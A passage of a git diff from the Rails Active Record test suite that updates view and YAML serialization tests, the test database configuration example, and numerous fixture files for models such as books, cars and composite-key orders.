+    price_estimate = PriceEstimate.new(price: 50)
+
+    assert_equal "$50.00", price_estimate.price
+    assert_equal 50, price_estimate.price_before_type_cast
+    assert_equal 50, price_estimate.read_attribute(:price)
+
+    assert_predicate price_estimate, :price_came_from_user?
+    assert_predicate price_estimate, :valid?
+
+    price_estimate.save!
+
+    assert_not_predicate price_estimate, :price_came_from_user?
+    assert_predicate price_estimate, :valid?
   end
 
   def test_acceptance_validator_doesnt_require_db_connection
diff --git a/activerecord/test/cases/view_test.rb b/activerecord/test/cases/view_test.rb
index 07288568e889a..86f0e5e7a941c 100644
--- a/activerecord/test/cases/view_test.rb
+++ b/activerecord/test/cases/view_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/book"
 require "support/schema_dumping_helper"
@@ -17,9 +19,9 @@ class Ebook < ActiveRecord::Base
 
   def setup
     super
-    @connection = ActiveRecord::Base.connection
-    create_view "ebooks'", <<-SQL
-      SELECT id, name, status FROM books WHERE format = 'ebook'
+    @connection = ActiveRecord::Base.lease_connection
+    create_view "ebooks'", <<~SQL
+      SELECT id, name, cover, status FROM books WHERE format = 'ebook'
     SQL
   end
 
@@ -56,11 +58,12 @@ def test_views_ara_valid_data_sources
   def test_column_definitions
     assert_equal([["id", :integer],
                   ["name", :string],
+                  ["cover", :string],
                   ["status", :integer]], Ebook.columns.map { |c| [c.name, c.type] })
   end
 
   def test_attributes
-    assert_equal({ "id" => 2, "name" => "Ruby for Rails", "status" => 0 },
+    assert_equal({ "id" => 2, "name" => "Ruby for Rails", "cover" => "hard", "status" => 0 },
                  Ebook.first.attributes)
   end
 
@@ -75,14 +78,9 @@ def test_does_not_dump_view_as_table
     schema = dump_table_schema "ebooks'"
     assert_no_match %r{create_table "ebooks'"}, schema
   end
-
-  private
-    def quote_table_name(name)
-      @connection.quote_table_name(name)
-    end
 end
 
-if ActiveRecord::Base.connection.supports_views?
+if ActiveRecord::Base.lease_connection.supports_views?
   class ViewWithPrimaryKeyTest < ActiveRecord::TestCase
     include ViewBehavior
 
@@ -98,20 +96,22 @@ def drop_view(name)
 
   class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase
     include SchemaDumpingHelper
+
+    self.use_transactional_tests = false
     fixtures :books
 
     class Paperback < ActiveRecord::Base; end
 
     setup do
-      @connection = ActiveRecord::Base.connection
-      @connection.execute <<-SQL
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.execute <<~SQL
         CREATE VIEW paperbacks
           AS SELECT name, status FROM books WHERE format = 'paperback'
       SQL
     end
 
     teardown do
-      @connection.execute "DROP VIEW paperbacks" if @connection.view_exists? "paperbacks"
+      @connection.execute "DROP VIEW paperbacks" if @connection&.view_exists? "paperbacks"
     end
 
     def test_reading
@@ -140,7 +140,7 @@ def test_column_definitions
 
     def test_attributes
       assert_equal({ "name" => "Agile Web Development with Rails", "status" => 2 },
-                   Paperback.first.attributes)
+                   Paperback.take.attributes)
     end
 
     def test_does_not_have_a_primary_key
@@ -153,9 +153,9 @@ def test_does_not_dump_view_as_table
     end
   end
 
-  # sqlite dose not support CREATE, INSERT, and DELETE for VIEW
-  if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :SQLServerAdapter)
-    class UpdateableViewTest < ActiveRecord::TestCase
+  class UpdateableViewTest < ActiveRecord::TestCase
+    # SQLite does not support CREATE, INSERT, and DELETE for VIEW
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
       self.use_transactional_tests = false
       fixtures :books
 
@@ -164,8 +164,8 @@ class PrintedBook < ActiveRecord::Base
       end
 
       setup do
-        @connection = ActiveRecord::Base.connection
-        @connection.execute <<-SQL
+        @connection = ActiveRecord::Base.lease_connection
+        @connection.execute <<~SQL
           CREATE VIEW printed_books
             AS SELECT id, name, status, format FROM books WHERE format = 'paperback'
         SQL
@@ -190,6 +190,12 @@ def test_insert_record
         assert_equal "Rails in Action", new_book.name
       end
 
+      def test_insert_record_populates_primary_key
+        book = PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback"
+        assert_not_nil book.id
+        assert book.id > 0
+      end if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter) && supports_insert_returning?
+
       def test_update_record_to_fail_view_conditions
         book = PrintedBook.first
         book.format = "ebook"
@@ -199,12 +205,11 @@ def test_update_record_to_fail_view_conditions
           book.reload
         end
       end
-    end
-  end # end of `if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :SQLServerAdapter)`
-end # end of `if ActiveRecord::Base.connection.supports_views?`
+    end # end of `if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)`
+  end
+end # end of `if ActiveRecord::Base.lease_connection.supports_views?`
 
-if ActiveRecord::Base.connection.respond_to?(:supports_materialized_views?) &&
-    ActiveRecord::Base.connection.supports_materialized_views?
+if ActiveRecord::Base.lease_connection.supports_materialized_views?
   class MaterializedViewTest < ActiveRecord::PostgreSQLTestCase
     include ViewBehavior
 
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 1571b313294a9..ab6c6194e3c48 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
@@ -5,72 +7,76 @@
 require "models/author"
 
 class YamlSerializationTest < ActiveRecord::TestCase
-  fixtures :topics, :authors, :posts
+  fixtures :topics, :authors, :author_addresses, :posts
 
   def test_to_yaml_with_time_with_zone_should_not_raise_exception
     with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
       topic = Topic.new(written_on: DateTime.now)
       assert_nothing_raised { topic.to_yaml }
     end
+  ensure
+    Topic.reset_column_information
   end
 
   def test_roundtrip
     topic = Topic.first
     assert topic
-    t = YAML.load YAML.dump topic
+    t = yaml_load YAML.dump topic
     assert_equal topic, t
   end
 
   def test_roundtrip_serialized_column
-    topic = Topic.new(content: { omg: :lol })
-    assert_equal({ omg: :lol }, YAML.load(YAML.dump(topic)).content)
+    topic = Topic.new(content: { "omg" => "lol" })
+    assert_equal({ "omg" => "lol" }, yaml_load(YAML.dump(topic)).content)
   end
 
   def test_psych_roundtrip
     topic = Topic.first
     assert topic
-    t = Psych.load Psych.dump topic
+    t = yaml_load Psych.dump topic
     assert_equal topic, t
   end
 
   def test_psych_roundtrip_new_object
     topic = Topic.new
     assert topic
-    t = Psych.load Psych.dump topic
+    t = yaml_load Psych.dump topic
     assert_equal topic.attributes, t.attributes
   end
 
   def test_active_record_relation_serialization
-    [Topic.all].to_yaml
+    assert_nothing_raised do
+      [Topic.all].to_yaml
+    end
   end
 
   def test_raw_types_are_not_changed_on_round_trip
     topic = Topic.new(parent_id: "123")
     assert_equal "123", topic.parent_id_before_type_cast
-    assert_equal "123", YAML.load(YAML.dump(topic)).parent_id_before_type_cast
+    assert_equal "123", yaml_load(YAML.dump(topic)).parent_id_before_type_cast
   end
 
   def test_cast_types_are_not_changed_on_round_trip
     topic = Topic.new(parent_id: "123")
     assert_equal 123, topic.parent_id
-    assert_equal 123, YAML.load(YAML.dump(topic)).parent_id
+    assert_equal 123, yaml_load(YAML.dump(topic)).parent_id
   end
 
   def test_new_records_remain_new_after_round_trip
     topic = Topic.new
 
-    assert topic.new_record?, "Sanity check that new records are new"
-    assert YAML.load(YAML.dump(topic)).new_record?, "Record should be new after deserialization"
+    assert_predicate topic, :new_record?, "New record should be new"
+    assert_predicate yaml_load(YAML.dump(topic)), :new_record?, "Record should be new after deserialization"
 
     topic.save!
 
     assert_not topic.new_record?, "Saved records are not new"
-    assert_not YAML.load(YAML.dump(topic)).new_record?, "Saved record should not be new after deserialization"
+    assert_not yaml_load(YAML.dump(topic)).new_record?, "Saved record should not be new after deserialization"
 
     topic = Topic.select("title").last
 
     assert_not topic.new_record?, "Loaded records without ID are not new"
-    assert_not YAML.load(YAML.dump(topic)).new_record?, "Record should not be new after deserialization"
+    assert_not yaml_load(YAML.dump(topic)).new_record?, "Record should not be new after deserialization"
   end
 
   def test_types_of_virtual_columns_are_not_changed_on_round_trip
@@ -78,7 +84,7 @@ def test_types_of_virtual_columns_are_not_changed_on_round_trip
       .joins(:posts)
       .group("authors.id")
       .first
-    dumped = YAML.load(YAML.dump(author))
+    dumped = yaml_load(YAML.dump(author))
 
     assert_equal 5, author.posts_count
     assert_equal 5, dumped.posts_count
@@ -91,40 +97,67 @@ def test_a_yaml_version_is_provided_for_future_backwards_compat
     assert coder["active_record_yaml_version"]
   end
 
-  def test_deserializing_rails_41_yaml
-    topic = YAML.load(yaml_fixture("rails_4_1"))
+  def test_deserializing_rails_v2_yaml
+    topic = yaml_load(yaml_fixture("rails_v2"))
 
-    assert topic.new_record?
-    assert_nil topic.id
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
     assert_equal "The First Topic", topic.title
-    assert_equal({ omg: :lol }, topic.content)
+    assert_equal "Have a nice day", topic.content
   end
 
-  def test_deserializing_rails_4_2_0_yaml
-    topic = YAML.load(yaml_fixture("rails_4_2_0"))
+  def test_deserializing_rails_v1_mysql_yaml
+    topic = yaml_load(yaml_fixture("rails_v1_mysql"))
 
-    assert_not topic.new_record?
+    assert_not_predicate topic, :new_record?
     assert_equal 1, topic.id
     assert_equal "The First Topic", topic.title
-    assert_equal("Have a nice day", topic.content)
+    assert_equal "Have a nice day", topic.content
+  end
+
+  def test_deserializing_rails_41_yaml
+    error = assert_raises(RuntimeError) do
+      yaml_load(yaml_fixture("rails_4_1_no_symbol"))
+    end
+
+    assert_equal "Active Record doesn't know how to load YAML with this format.", error.message
+  end
+
+  def test_deserializing_rails_4_2_0_yaml
+    error = assert_raises(RuntimeError) do
+      yaml_load(yaml_fixture("rails_4_2_0"))
+    end
+
+    assert_equal "Active Record doesn't know how to load YAML with this format.", error.message
   end
 
   def test_yaml_encoding_keeps_mutations
     author = Author.first
     author.name = "Sean"
-    dumped = YAML.load(YAML.dump(author))
+    dumped = yaml_load(YAML.dump(author))
 
     assert_equal "Sean", dumped.name
     assert_equal author.name_was, dumped.name_was
     assert_equal author.changes, dumped.changes
   end
 
+  def test_yaml_encoding_keeps_false_values
+    topic = Topic.first
+    topic.approved = false
+    dumped = yaml_load(YAML.dump(topic))
+
+    assert_equal false, dumped.approved
+  end
+
   private
+    def yaml_load(payload)
+      YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
+    end
 
     def yaml_fixture(file_name)
       path = File.expand_path(
-        "../../support/yaml_compatibility_fixtures/#{file_name}.yml",
-        __FILE__
+        "support/yaml_compatibility_fixtures/#{file_name}.yml",
+        TEST_ROOT
       )
       File.read(path)
     end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
index 4bcb2aeea656e..f2e8c83745436 100644
--- a/activerecord/test/config.example.yml
+++ b/activerecord/test/config.example.yml
@@ -1,78 +1,75 @@
-default_connection: <%= defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3' %>
-
-with_manual_interventions: false
-
 connections:
-  jdbcderby:
-    arunit:  activerecord_unittest
-    arunit2: activerecord_unittest2
-
-  jdbch2:
-    arunit:  activerecord_unittest
-    arunit2: activerecord_unittest2
-
-  jdbchsqldb:
-    arunit:  activerecord_unittest
-    arunit2: activerecord_unittest2
-
-  jdbcmysql:
+  mysql2:
     arunit:
       username: rails
-      encoding: utf8
+      encoding: utf8mb4
+      collation: utf8mb4_unicode_ci
+    <% if ENV['MYSQL_PREPARED_STATEMENTS'] %>
+      prepared_statements: true
+    <% else %>
+      prepared_statements: false
+    <% end %>
+    <% if ENV['MYSQL_HOST'] %>
+      host: <%= ENV['MYSQL_HOST'] %>
+    <% end %>
+    <% if ENV['MYSQL_PORT'] %>
+      port: <%= ENV['MYSQL_PORT'] %>
+    <% end %>
+    <% if ENV['MYSQL_SOCK'] %>
+      socket: "<%= ENV['MYSQL_SOCK'] %>"
+    <% end %>
+      variables:
+        time_zone: '+00:00'
     arunit2:
       username: rails
-      encoding: utf8
-
-  jdbcpostgresql:
-    arunit:
-      username: <%= ENV['user'] || 'rails' %>
-    arunit2:
-      username: <%= ENV['user'] || 'rails' %>
-
-  jdbcsqlite3:
-    arunit:
-      database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
-      timeout:  5000
-    arunit2:
-      database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
-      timeout:  5000
-
-  db2:
-    arunit:
-      adapter:  ibm_db
-      host:     localhost
-      username: arunit
-      password: arunit
-      database: arunit
-    arunit2:
-      adapter:  ibm_db
-      host:     localhost
-      username: arunit
-      password: arunit
-      database: arunit2
+      encoding: utf8mb4
+      collation: utf8mb4_general_ci
+    <% if ENV['MYSQL_PREPARED_STATEMENTS'] %>
+      prepared_statements: true
+    <% else %>
+      prepared_statements: false
+    <% end %>
+    <% if ENV['MYSQL_HOST'] %>
+      host: <%= ENV['MYSQL_HOST'] %>
+    <% end %>
+    <% if ENV['MYSQL_PORT'] %>
+      port: <%= ENV['MYSQL_PORT'] %>
+    <% end %>
+    <% if ENV['MYSQL_SOCK'] %>
+      socket: "<%= ENV['MYSQL_SOCK'] %>"
+    <% end %>
 
-  mysql2:
+  trilogy:
     arunit:
       username: rails
-      encoding: utf8
-      collation: utf8_unicode_ci
+      encoding: utf8mb4
+      collation: utf8mb4_unicode_ci
+      prepared_statements: false
+    <% if ENV['MYSQL_HOST'] %>
+      host: <%= ENV['MYSQL_HOST'] %>
+    <% end %>
+    <% if ENV['MYSQL_PORT'] %>
+      port: <%= ENV['MYSQL_PORT'] %>
+    <% end %>
+    <% if ENV['MYSQL_SOCK'] %>
+      socket: "<%= ENV['MYSQL_SOCK'] %>"
+    <% end %>
+      variables:
+        time_zone: '+00:00'
     arunit2:
       username: rails
-      encoding: utf8
-
-  oracle:
-     arunit:
-       adapter: oracle_enhanced
-       database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
-       username: <%= ENV['ARUNIT_USER_NAME'] || 'arunit' %>
-       password: <%= ENV['ARUNIT_PASSWORD'] || 'arunit' %>
-       emulate_oracle_adapter: true
-     arunit2:
-       adapter: oracle_enhanced
-       database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
-       username: <%= ENV['ARUNIT2_USER_NAME'] || 'arunit2' %>
-       password: <%= ENV['ARUNIT2_PASSWORD'] || 'arunit2' %>
-       emulate_oracle_adapter: true
+      encoding: utf8mb4
+      collation: utf8mb4_general_ci
+      prepared_statements: false
+    <% if ENV['MYSQL_HOST'] %>
+      host: <%= ENV['MYSQL_HOST'] %>
+    <% end %>
+    <% if ENV['MYSQL_PORT'] %>
+      port: <%= ENV['MYSQL_PORT'] %>
+    <% end %>
+    <% if ENV['MYSQL_SOCK'] %>
+      socket: "<%= ENV['MYSQL_SOCK'] %>"
+    <% end %>
 
   postgresql:
     arunit:
@@ -87,9 +84,11 @@ connections:
     arunit:
       database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
       timeout:  5000
+      strict:   true
     arunit2:
       database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
       timeout:  5000
+      strict:   true
 
   sqlite3_mem:
     arunit:
diff --git a/activerecord/test/config.rb b/activerecord/test/config.rb
index 6e2e8b2145a6b..5f90c8a0d47d8 100644
--- a/activerecord/test/config.rb
+++ b/activerecord/test/config.rb
@@ -1,5 +1,8 @@
-TEST_ROOT       = File.expand_path(File.dirname(__FILE__))
+# frozen_string_literal: true
+
+TEST_ROOT       = __dir__
 ASSETS_ROOT     = TEST_ROOT + "/assets"
 FIXTURES_ROOT   = TEST_ROOT + "/fixtures"
+MODELS_ROOT     = TEST_ROOT + "/models"
 MIGRATIONS_ROOT = TEST_ROOT + "/migrations"
 SCHEMA_ROOT     = TEST_ROOT + "/schema"
diff --git a/activerecord/test/fixtures/.gitignore b/activerecord/test/fixtures/.gitignore
deleted file mode 100644
index 885029a512de1..0000000000000
--- a/activerecord/test/fixtures/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-*.sqlite*
\ No newline at end of file
diff --git a/activerecord/test/fixtures/1_need_quoting.yml b/activerecord/test/fixtures/1_need_quoting.yml
new file mode 100644
index 0000000000000..abc28f366b16e
--- /dev/null
+++ b/activerecord/test/fixtures/1_need_quoting.yml
@@ -0,0 +1,2 @@
+- name: Foo
+- name: Bar
diff --git a/activerecord/test/fixtures/accounts.yml b/activerecord/test/fixtures/accounts.yml
index 32583042a8a05..f4b3b47e6e866 100644
--- a/activerecord/test/fixtures/accounts.yml
+++ b/activerecord/test/fixtures/accounts.yml
@@ -3,6 +3,7 @@ signals37:
   firm_id: 1
   credit_limit: 50
   firm_name: 37signals
+  status: "active"
 
 unknown:
   id: 2
@@ -12,18 +13,22 @@ rails_core_account:
   id: 3
   firm_id: 6
   credit_limit: 50
+  status: "suspended"
 
 last_account:
   id: 4
   firm_id: 2
   credit_limit: 60
+  status: "trial"
 
 rails_core_account_2:
   id: 5
   firm_id: 6
   credit_limit: 55
+  status: "active"
 
 odegy_account:
   id: 6
   firm_id: 9
   credit_limit: 53
+  status: "trial"
diff --git a/activerecord/test/fixtures/aircrafts.yml b/activerecord/test/fixtures/aircrafts.yml
new file mode 100644
index 0000000000000..023abc64f7a2a
--- /dev/null
+++ b/activerecord/test/fixtures/aircrafts.yml
@@ -0,0 +1,7 @@
+no_wheels:
+  name: boeing-with-no-wheels
+  manufactured_at: 2024-01-01
+
+no_manufactured_at:
+  name: boeing-with-no-manufactured-at
+  wheels_count: 2
diff --git a/activerecord/test/fixtures/binaries.yml b/activerecord/test/fixtures/binaries.yml
index ec8f2facdc1e7..53b7883369d6f 100644
--- a/activerecord/test/fixtures/binaries.yml
+++ b/activerecord/test/fixtures/binaries.yml
@@ -131,3 +131,7 @@ flowers:
     SgCUASgCUASgCUASgAC74PbXOTvE5/En7jpSoLE8/wBn7uPJjKyj46T9D/NT
     pKsXyQzxNpdNP0/akB5484WkMKh4RfXG4UafNmH7b0UxWMrb7Nxg6rl9Z/Im
     w+vWq0iscQwxQroiUIvkKsRZQBKAJQBKAJQB/9k=
+
+binary_helper:
+  id: 2
+  data: <%= binary(ASSETS_ROOT + "/flowers.jpg") %>
diff --git a/activerecord/test/fixtures/book_identifiers.yml b/activerecord/test/fixtures/book_identifiers.yml
new file mode 100644
index 0000000000000..54d270c057710
--- /dev/null
+++ b/activerecord/test/fixtures/book_identifiers.yml
@@ -0,0 +1,11 @@
+awdr_isbn13:
+  book_id: 1
+  id: 1
+  id_type: "ISBN-13"
+  id_value: "979-8888651346"
+
+awdr_asin:
+  book_id: 1
+  id: 2
+  id_type: "ASIN"
+  id_value: "B0DXPFFXD9"
diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
index b3625ee72eb4a..3d97c421546b7 100644
--- a/activerecord/test/fixtures/books.yml
+++ b/activerecord/test/fixtures/books.yml
@@ -4,12 +4,14 @@ awdr:
   name: "Agile Web Development with Rails"
   format: "paperback"
   status: :published
-  read_status: :read
+  last_read: :read
   language: :english
   author_visibility: :visible
   illustrator_visibility: :visible
   font_size: :medium
   difficulty: :medium
+  boolean_status: :enabled
+  cover: "soft"
 
 rfr:
   author_id: 1
@@ -17,7 +19,7 @@ rfr:
   name: "Ruby for Rails"
   format: "ebook"
   status: "proposed"
-  read_status: "reading"
+  last_read: "reading"
 
 ddd:
   author_id: 1
@@ -25,6 +27,7 @@ ddd:
   name: "Domain-Driven Design"
   format: "hardcover"
   status: 2
+  last_read: "forgotten"
 
 tlg:
   author_id: 1
diff --git a/activerecord/test/fixtures/cake_designers.yml b/activerecord/test/fixtures/cake_designers.yml
new file mode 100644
index 0000000000000..9ba963816c088
--- /dev/null
+++ b/activerecord/test/fixtures/cake_designers.yml
@@ -0,0 +1,5 @@
+flora:
+  id: 1
+
+frosty:
+  id: 2
diff --git a/activerecord/test/fixtures/cars.yml b/activerecord/test/fixtures/cars.yml
index b4c748aaa7858..5059b5d06940e 100644
--- a/activerecord/test/fixtures/cars.yml
+++ b/activerecord/test/fixtures/cars.yml
@@ -2,8 +2,14 @@ honda:
   id: 1
   name: honda
   engines_count: 0
+  bulbs_count: 0
+  custom_tires_count: 0
+  person_id: 1
 
 zyke:
   id: 2
   name: zyke
   engines_count: 0
+  bulbs_count: 0
+  custom_tires_count: 0
+  person_id: 2
diff --git a/activerecord/test/fixtures/categories_posts.yml b/activerecord/test/fixtures/categories_posts.yml
index c6f0d885f585f..3bc67a32d6660 100644
--- a/activerecord/test/fixtures/categories_posts.yml
+++ b/activerecord/test/fixtures/categories_posts.yml
@@ -1,3 +1,6 @@
+_fixture:
+  model_class: Post::CategoryPost
+
 general_welcome:
   category_id: 1
   post_id: 1
diff --git a/activerecord/test/fixtures/chefs.yml b/activerecord/test/fixtures/chefs.yml
new file mode 100644
index 0000000000000..2291e86f143fb
--- /dev/null
+++ b/activerecord/test/fixtures/chefs.yml
@@ -0,0 +1,5 @@
+gordon_ramsay:
+  id: 1
+
+marco_pierre_white:
+  id: 2
diff --git a/activerecord/test/fixtures/citations.yml b/activerecord/test/fixtures/citations.yml
new file mode 100644
index 0000000000000..396099621cc00
--- /dev/null
+++ b/activerecord/test/fixtures/citations.yml
@@ -0,0 +1,5 @@
+<% 65536.times do |i| %>
+fixture_no_<%= i %>:
+  id: <%= i %>
+  book2_id: <%= i*i %>
+<% end %>
diff --git a/activerecord/test/fixtures/clothing_items.yml b/activerecord/test/fixtures/clothing_items.yml
new file mode 100644
index 0000000000000..e9d0b18e9131d
--- /dev/null
+++ b/activerecord/test/fixtures/clothing_items.yml
@@ -0,0 +1,23 @@
+green_pants:
+  color: green
+  clothing_type: pants
+  description: Cool green pants
+  type: ClothingItem
+
+green_t_shirt:
+  color: green
+  clothing_type: t-shirt
+  description: Cool green t-shirt
+  type: ClothingItem
+
+red_t_shirt:
+  color: red
+  clothing_type: t-shirt
+  description: Cool red t-shirt
+  type: ClothingItem
+
+used_blue_jeans:
+  color: blue
+  clothing_type: pants
+  description: Cool blue jeans
+  type: ClothingItem::Used
diff --git a/activerecord/test/fixtures/clubs.yml b/activerecord/test/fixtures/clubs.yml
index 82e439e8e5ff1..14461ce68143f 100644
--- a/activerecord/test/fixtures/clubs.yml
+++ b/activerecord/test/fixtures/clubs.yml
@@ -3,6 +3,6 @@ boring_club:
   category_id: 1
 moustache_club:
   name: Moustache and Eyebrow Fancier Club
-crazy_club:
+outrageous_club:
   name: Skull and bones
   category_id: 2
diff --git a/activerecord/test/fixtures/comments.yml b/activerecord/test/fixtures/comments.yml
index ddbb823c49f7a..ce8b88dbf7a79 100644
--- a/activerecord/test/fixtures/comments.yml
+++ b/activerecord/test/fixtures/comments.yml
@@ -7,6 +7,7 @@ greetings:
 more_greetings:
   id: 2
   post_id: 1
+  parent_id: 1
   body: Thank you again for the welcome
   type: Comment
 
@@ -55,7 +56,7 @@ check_eager_sti_on_associations2:
 eager_other_comment1:
   id: 11
   post_id: 7
-  body: go crazy
+  body: go wild
   type: SpecialComment
 
 sub_special_comment:
@@ -63,3 +64,10 @@ sub_special_comment:
   post_id: 4
   body: Sub special comment
   type: SubSpecialComment
+
+recursive_association_comment:
+  id: 13
+  post_id: 5
+  body: afrase
+  type: Comment
+  company: 15
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index ab9d5378ad506..b05997038a5fa 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -65,3 +65,8 @@ another_first_firm_client:
   client_of: 1
   name: Apex
   firm_name: 37signals
+
+recursive_association_fk:
+  id: 15
+  type: Firm
+  name: RVshare
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
index ad5ae2ec71f03..aa2a49688e468 100644
--- a/activerecord/test/fixtures/computers.yml
+++ b/activerecord/test/fixtures/computers.yml
@@ -3,8 +3,10 @@ workstation:
   system: 'Linux'
   developer: 1
   extendedWarranty: 1
+  timezone: 1
 
 laptop:
   system: 'MacOS 1'
   developer: 1
   extendedWarranty: 1
+  timezone: 1
diff --git a/activerecord/test/fixtures/cpk_authors.yml b/activerecord/test/fixtures/cpk_authors.yml
new file mode 100644
index 0000000000000..a8e4a7765c972
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_authors.yml
@@ -0,0 +1,8 @@
+_fixture:
+  model_class: Cpk::Author
+
+cpk_great_author:
+  name: "Alice"
+
+cpk_famous_author_first_book:
+  name: "Bob"
diff --git a/activerecord/test/fixtures/cpk_books.yml b/activerecord/test/fixtures/cpk_books.yml
new file mode 100644
index 0000000000000..7246cc0790e21
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_books.yml
@@ -0,0 +1,21 @@
+_fixture:
+  model_class: Cpk::Book
+
+cpk_great_author_first_book:
+  author: cpk_great_author
+  title: "The first book"
+  revision: 1
+
+cpk_great_author_second_book:
+  author: cpk_great_author
+  title: "The second book"
+  revision: 1
+
+cpk_famous_author_first_book:
+  author: cpk_famous_author
+  title: "Ruby on Rails"
+  revision: 1
+
+cpk_book_with_generated_pk:
+  title: "Generated author's book"
+  revision: 1
diff --git a/activerecord/test/fixtures/cpk_order_agreements.yml b/activerecord/test/fixtures/cpk_order_agreements.yml
new file mode 100644
index 0000000000000..1e7c49bbf9f2e
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_order_agreements.yml
@@ -0,0 +1,13 @@
+_fixture:
+  model_class: Cpk::OrderAgreement
+
+order_agreement_one:
+  signature: "abc123"
+
+order_agreement_two:
+  signature: "xyz789"
+
+order_agreement_three:
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(:cpk_groceries_order_2, Cpk::Order.primary_key)[:id] %>
+  signature: "def321"
+
diff --git a/activerecord/test/fixtures/cpk_order_tags.yml b/activerecord/test/fixtures/cpk_order_tags.yml
new file mode 100644
index 0000000000000..dce530a966a42
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_order_tags.yml
@@ -0,0 +1,15 @@
+_fixture:
+  model_class: Cpk::OrderTag
+
+cpk_first_order_loyal_customer:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:cpk_tag_loyal_customer) %>
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(:cpk_groceries_order_1, [:shop_id, :id])[:id] %>
+
+cpk_second_order_loyal_customer:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:cpk_tag_loyal_customer) %>
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(:cpk_groceries_order_2, [:shop_id, :id])[:id] %>
+
+cpk_first_order_digital_product:
+  tag_id: <%= ActiveRecord::FixtureSet.identify(:cpk_tag_digital_product) %>
+  order_id: <%= ActiveRecord::FixtureSet.composite_identify(:cpk_groceries_order_1, [:shop_id, :id])[:id] %>
+
diff --git a/activerecord/test/fixtures/cpk_orders.yml b/activerecord/test/fixtures/cpk_orders.yml
new file mode 100644
index 0000000000000..c671713ef22b1
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_orders.yml
@@ -0,0 +1,11 @@
+_fixture:
+  model_class: Cpk::Order
+
+cpk_groceries_order_1:
+  status: "paid"
+
+cpk_groceries_order_2:
+  status: "paid"
+
+cpk_coffee_order_1:
+  status: "cancelled"
diff --git a/activerecord/test/fixtures/cpk_posts.yml b/activerecord/test/fixtures/cpk_posts.yml
new file mode 100644
index 0000000000000..9583158638710
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_posts.yml
@@ -0,0 +1,12 @@
+_fixture:
+  model_class: Cpk::Post
+
+welcome:
+  title: Welcome to the weblog
+  author: David
+  tags: cpk_tag_ruby_on_rails, cpk_tag_digital_product
+
+thinking:
+  title: So I was thinking
+  author: Bob
+  tags: cpk_tag_digital_product
diff --git a/activerecord/test/fixtures/cpk_reviews.yml b/activerecord/test/fixtures/cpk_reviews.yml
new file mode 100644
index 0000000000000..a7f0a3e1dc098
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_reviews.yml
@@ -0,0 +1,13 @@
+_fixture:
+  model_class: Cpk::Review
+
+first_book_review:
+  book: cpk_book_with_generated_pk
+  rating: 5
+  comment: "The first book was alright."
+
+second_book_review_for_book_with_partial_pk_defined:
+  book: cpk_great_author_first_book
+  author_id: <%= ActiveRecord::FixtureSet.identify(:cpk_great_author) %>
+  rating: 5
+  comment: "The first book was alright."
diff --git a/activerecord/test/fixtures/cpk_tags.yml b/activerecord/test/fixtures/cpk_tags.yml
new file mode 100644
index 0000000000000..731e20cdef71e
--- /dev/null
+++ b/activerecord/test/fixtures/cpk_tags.yml
@@ -0,0 +1,11 @@
+_fixture:
+  model_class: Cpk::Tag
+
+cpk_tag_loyal_customer:
+  name: "Loyal customer"
+
+cpk_tag_digital_product:
+  name: "Digital product"
+
+cpk_tag_ruby_on_rails:
+  name: "Ruby on Rails"
diff --git a/activerecord/test/fixtures/customers.yml b/activerecord/test/fixtures/customers.yml
index 0399ff83b94a7..7d6c1366d006d 100644
--- a/activerecord/test/fixtures/customers.yml
+++ b/activerecord/test/fixtures/customers.yml
@@ -23,4 +23,13 @@ barney:
   address_street: Quiet Road
   address_city: Peaceful Town
   address_country: Tranquil Land
-  gps_location: NULL
\ No newline at end of file
+  gps_location: NULL
+
+mary:
+  id: 4
+  name: Mary
+  balance: 1
+  address_street: Funny Street
+  address_city: Peaceful Town
+  address_country: Nation Land
+  gps_location: NULL
diff --git a/activerecord/test/fixtures/drink_designers.yml b/activerecord/test/fixtures/drink_designers.yml
new file mode 100644
index 0000000000000..aa50b4554923f
--- /dev/null
+++ b/activerecord/test/fixtures/drink_designers.yml
@@ -0,0 +1,5 @@
+turner:
